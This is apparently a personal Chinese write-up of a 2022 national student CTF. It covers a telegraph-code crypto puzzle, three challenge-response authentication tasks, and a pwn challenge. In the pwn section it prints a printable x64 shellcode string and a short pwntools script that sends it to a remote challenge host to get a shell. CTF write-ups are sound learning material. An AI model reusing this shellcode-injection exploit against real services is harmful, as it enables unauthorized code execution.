2022 第十五届全国大学生信息安全竞赛创新实践能力赛 中个人writeup。
首先很感谢我的队友们。这次的比赛的结果对于我这个CTF新人来说已经很满意了,就是不知道能不能出现。以下是我做出的题的题解,非预期很多的。
Crypto
签到电台
公众号得到提示。
网络上查询 ”弼时安全到达了“ 的中文电码。
弼 1732 时 2514 安 1344 全 0356 到 0451 达 6671 了 0055
拿电码本的前28位。
1 2 3 4 5 6 7 8 9 10 a = list ("2552343326547861313322543061" ) b = list ("1732251413440356045166710055" ) a = list (map (eval , a)) b = list (map (eval , b))for i in range (len (a)): print ((a[i]+b[i])%10 , end="" )
然后直接发包:
1 2 http://eci-2 zecfqrktxe0xcfnex4l.cloudeci1.ichunqiu.com:8888/send?msg=3284594739987117358488253016J # flag{5ce075fc-146 c-41 ce-8 c2e-1619685254 af}
这题最后被打的只剩下个位数了…
基于挑战码的双向认证1
1 ssh 101.201.123.35 -p 30847
连接到服务器。
进入src目录。执行make后回到cube-challenge目录执行player.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 [player@engine-1 cube-challenge]$ cd src/ [player@engine-1 src]$ make make -C login_server || exit "$?"; make -C login_user || exit "$?"; make[1]: Entering directory `/home/player/cube-challenge/src/login_server' gcc -g -shared -o liblogin_server.so login_server.o -L/root/centoscloud/cube-1.3/cubelib/lib -lmessage -lmemdb -lconnector -lstruct -lcrypto_func -lpthread mv liblogin_server.so /home/player/cube-challenge/plugin cp login_server.cfg /home/player/cube-challenge/plugin make[1]: Leaving directory `/home/player/cube-challenge/src/login_server' make[1]: Entering directory `/home/player/cube-challenge/src/login_user' gcc -g -c -fPIC -DUSER_MODE -I/root/centoscloud/cube-1.3/proc/include -I/root/centoscloud/cube-1.3/include -I/home/player/cube-challenge/include login_user.c login_user.c: In function ‘proc_login_request’: login_user.c:90:2: warning: passing argument 2 of ‘message_get_record’ from incompatible pointer type [enabled by default] ret=message_get_record(recv_msg,&login_input,0); ^ In file included from login_user.c:9:0: /root/centoscloud/cube-1.3/include/cube.h:139:6: note: expected ‘void **’ but argument is of type ‘struct record_GENERAL_RETURN_STRING **’ int message_get_record(void * message, void ** msg_record,int record_no); ^ login_user.c: In function ‘proc_login_response’: login_user.c:145:2: warning: passing argument 2 of ‘message_get_record’ from incompatible pointer type [enabled by default] ret=message_get_record(recv_msg,&login_info,0); ^ In file included from login_user.c:9:0: /root/centoscloud/cube-1.3/include/cube.h:139:6: note: expected ‘void **’ but argument is of type ‘struct record_USER_DEFINE_LOGIN **’ int message_get_record(void * message, void ** msg_record,int record_no); ^ login_user.c: In function ‘proc_login_result’: login_user.c:214:2: warning: passing argument 2 of ‘message_get_record’ from incompatible pointer type [enabled by default] ret=message_get_record(recv_msg,&return_info,0); ^ In file included from login_user.c:9:0: /root/centoscloud/cube-1.3/include/cube.h:139:6: note: expected ‘void **’ but argument is of type ‘struct record_USER_DEFINE_RETURN **’ int message_get_record(void * message, void ** msg_record,int record_no); ^ gcc -g -shared -o liblogin_user.so login_user.o -L/root/centoscloud/cube-1.3/cubelib/lib -lmessage -lmemdb -lconnector -lstruct -lcrypto_func -lpthread mv liblogin_user.so /home/player/cube-challenge/plugin cp login_user.cfg /home/player/cube-challenge/plugin make[1]: Leaving directory `/home/player/cube-challenge/src/login_user' [player@engine-1 src]$ ls hacker login_server login_user Makefile [player@engine-1 src]$ cd .. [player@engine-1 cube-challenge]$ ls define exec_def include instance login_challenge.sh login.sh player.sh plugin run_cube.sh set_env.sh src [player@engine-1 cube-challenge]$ ./login_challenge.sh -bash: ./login_challenge.sh: Permission denied [player@engine-1 cube-challenge]$ sudo login_challenge.sh -bash: sudo: command not found [player@engine-1 cube-challenge]$ sh player.sh mkdir: cannot create directory ‘lib’: File exists {"name":"script_run","return_value":"test_start"} {"name":"shell","return_value":"hacker_start"} {"name":"shell","return_value":"server_start"} {"name":"shell","return_value":"copy_plugin"} {"name":"shell","return_value":"trigger_start"} {"name":"shell","return_value":"user_login"} {"name":"shell","return_value":"user1_login"} {"name":"shell","return_value":"trigger_output"} {"message":"flag{884afba9-bad3-470f-a892-442f383708c5}"}# flag{884afba9-bad3-470f-a892-442f383708c5}
挺离谱的…
可能是因为我直接将login_user.c的swp文件恢复了,回到了之前的某一个时刻,然后那个时间的代码时可以用的?
基于挑战码的双向认证2
还是逃不过写代码…
重新下发虚拟机,这次不恢复之前的vim数据。
进入login_user.c。
找到填写Mb‘和Ma地方。
看流程我们需要补全这两个代码。也就是客户端验证服务端发送的Mb,以及计算自己的Ma。
先看以下server的代码是怎么写的,不然API不会用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if (Memcmp(login_info->passwd,Empty_Password,DIGEST_SIZE)==0 ) { user_state->curr_state=CHALLENGE; Memcpy(user_state->proc_name,login_info->proc_name,DIGEST_SIZE); Memcpy(user_state->node_uuid,login_info->machine_uuid,DIGEST_SIZE); Memcpy(user_state->nonceA,login_info->nonce,DIGEST_SIZE); RAND_bytes(user_state->nonceB,DIGEST_SIZE); Memset(Buf,0 ,DIGEST_SIZE*4 ); Strncpy(Buf,user_state->passwd,DIGEST_SIZE); Memcpy(Buf+DIGEST_SIZE,user_state->nonceA,DIGEST_SIZE); Memcpy(Buf+DIGEST_SIZE*2 ,user_state->nonceB,DIGEST_SIZE); calculate_context_sm3(Buf,DIGEST_SIZE*3 ,login_info->passwd); Memcpy(login_info->nonce,user_state->nonceB,DIGEST_SIZE); new_msg=message_create(TYPE_PAIR(USER_DEFINE,LOGIN),recv_msg);
按照上面的格式进行编写。
1 2 3 4 5 6 7 Memset(Buf,0 ,DIGEST_SIZE*4 ); Strncpy(Buf,client_state->key,DIGEST_SIZE); Memcpy(Buf+DIGEST_SIZE,client_state->nonceA,DIGEST_SIZE); Memcpy(Buf+DIGEST_SIZE*2 , client_state->nonceB,DIGEST_SIZE); calculate_context_sm3(Buf,DIGEST_SIZE*3 ,Buf+DIGEST_SIZE*3 );
sm3的数据存放位置是通过下面的比较函数得到的。
1 2 3 4 5 6 7 Memset(Buf,0 ,DIGEST_SIZE*2 ); Strncpy(Buf,client_state->key,DIGEST_SIZE); Memcpy(Buf+DIGEST_SIZE,client_state->nonceB,DIGEST_SIZE); calculate_context_sm3(Buf,DIGEST_SIZE*2 ,login_info->passwd);
写完之后make。回头来跑程序。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 [player@engine-1 cube-challenge]$ sh player.sh mkdir : cannot create directory ‘lib’: File exists {"name" :"script_run" ,"return_value" :"test_start" } {"name" :"shell" ,"return_value" :"hacker_start" } {"name" :"shell" ,"return_value" :"server_start" } {"name" :"shell" ,"return_value" :"copy_plugin" } {"name" :"shell" ,"return_value" :"trigger_start" } {"name" :"shell" ,"return_value" :"user_login" } {"name" :"shell" ,"return_value" :"user1_login" } {"name" :"shell" ,"return_value" :"trigger_output" } {"message" :"flag{61b1bf81-41c1-43d3-8af2-7ddc257b6653}" } {"message" : # flag{34 f5fdaf-c373-47 fd-afab-01 ed2914c11a}
两个flag都出来了??
基于挑战码的双向认证3
还是使用2的代码再跑一遍就行了,虽然我很不理解…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 [player@engine-1 cube-challenge]$ sh player.sh mkdir: cannot create directory ‘lib’: File exists {"name" :"script_run" ,"return_value" :"test_start" } {"name" :"shell" ,"return_value" :"hacker_start" } {"name" :"shell" ,"return_value" :"server_start" } {"name" :"shell" ,"return_value" :"copy_plugin" } {"name" :"shell" ,"return_value" :"trigger_start" } {"name" :"shell" ,"return_value" :"user_login" } {"name" :"shell" ,"return_value" :"user1_login" } {"name" :"shell" ,"return_value" :"trigger_output" } {"message" :"flag{useless_flag}" } {"message" :"flag{7b352ef0-1bb1-41af-a7d7-b74f62ff23f0}" }# flag{7b352ef0-1bb1-41af-a7d7-b74f62ff23f0}
这三题都在500解朝上…全是非预期了都。
PWN
login_normal
在函数中sub_DA8中
1 2 3 4 5 v1 = getpagesize (); dest = (void *)(int )mmap ((char *)&loc_FFE + 2 , v1, 7 , 34 , 0 , 0LL ); v2 = strlen (a1);memcpy (dest, a1, v2); ((void (*)(void ))dest)();
call了一个指针,这个而且内容我们可以自己确定。以此来打shellcode。
1 2 3 4 5 6 7 8 9 10 11 12 { if ( !isprint(a1[i]) && a1[i] != 10 ) { puts("oh!" ); exit (-1 ); } }if ( f1 != 1 ) { puts("oh!" ); exit (-1 ); }
上方有两个值需要绕过。这两个值在sub_CBD中可以被修改为1。
所以我们要先进入sub_CBD再进入sub_DA8。
在主流程sub_FFD中。判断输入参数为opt与msg。最后的switch可以进入我们想要的函数。分别是1和2.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 switch ( v7 ) { case 2 : sub_DA8 ((const char *)dest); break ; case 3 : sub_EFE ((const char *)dest); break ; case 1 : sub_CBD ((const char *)dest); break ; default : puts ("error." ); exit (6 ); }
而v7是在上方的opt参数中转换得到的。所以我们需要输入的参数包含了opt:1和opt:2。
1 2 3 4 5 6 7 8 9 if ( !strcmp(a1 , "ro0t" ) ) { f1 = 1 f2 = 1 }else { f1 = 1 }
sub_CBD需要msg参数的值为ro0t。
所以两次输入的参数可以得到:
1 2 3 4 opt: 1 msg: ro0topt: 2 msg: shellcode
由于dest执行之前检查了内容是不是全是可打印的字符,所以这里我们的shellcode需要转换成明文。
1 2 3 4 5 6 7 8 mov rsi , rcx mov rdi , rax call _memcpymov rax , [rbp +dest]mov [rbp +var_20], rax mov rdx , [rbp +var_20]mov eax , 0 call rdx
dest是由rdx进行跳转的。所以我们生成对应的shellcode的时候要使用rdx参数。
1 2 └─$ ./shellcode_x64. sh rdx Rh0666 TY1131 Xh333311 k13 XjiV11 Hc1 ZXYf1 TqIHf9 kDqW02 DqX0 D1 Hu3 M2 G0 Z2 o4 H0 u0 P160 Z0 g7 O0 Z0 C100 y5 O3 G020 B2 n060 N4 q0 n2 t0 B0001010 H3 S2 y0 Y0 O0 n0 z01340 d2 F4 y8 P115 l1 n0 J0 h0 a070 t
得到shellcode。
1 2 3 4 5 6 7 8 from pwn import * r = remote("39.107.153.91" , 30443 ) r.sendline(b'opt:1\nmsg:ro0t\r\n' ) r.sendline(b'opt:2\nmsg:Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t\r\n' ) r.interactive()
这题也有400解了…国赛属实恐怖…
题外话
这比赛打的挺无语的,对我一个主攻Crypto的人来说…这次Crypto出的就…挺无语的,这三题能叫Crypto吗?全是非预期…还有直接拿root账户的,真的是十分有意思。华东北是真的卷,都不知道这次能不能出线了。打完这比赛我就觉得,我学了这一段时间的CTF都白学了。开始想念去年的360了。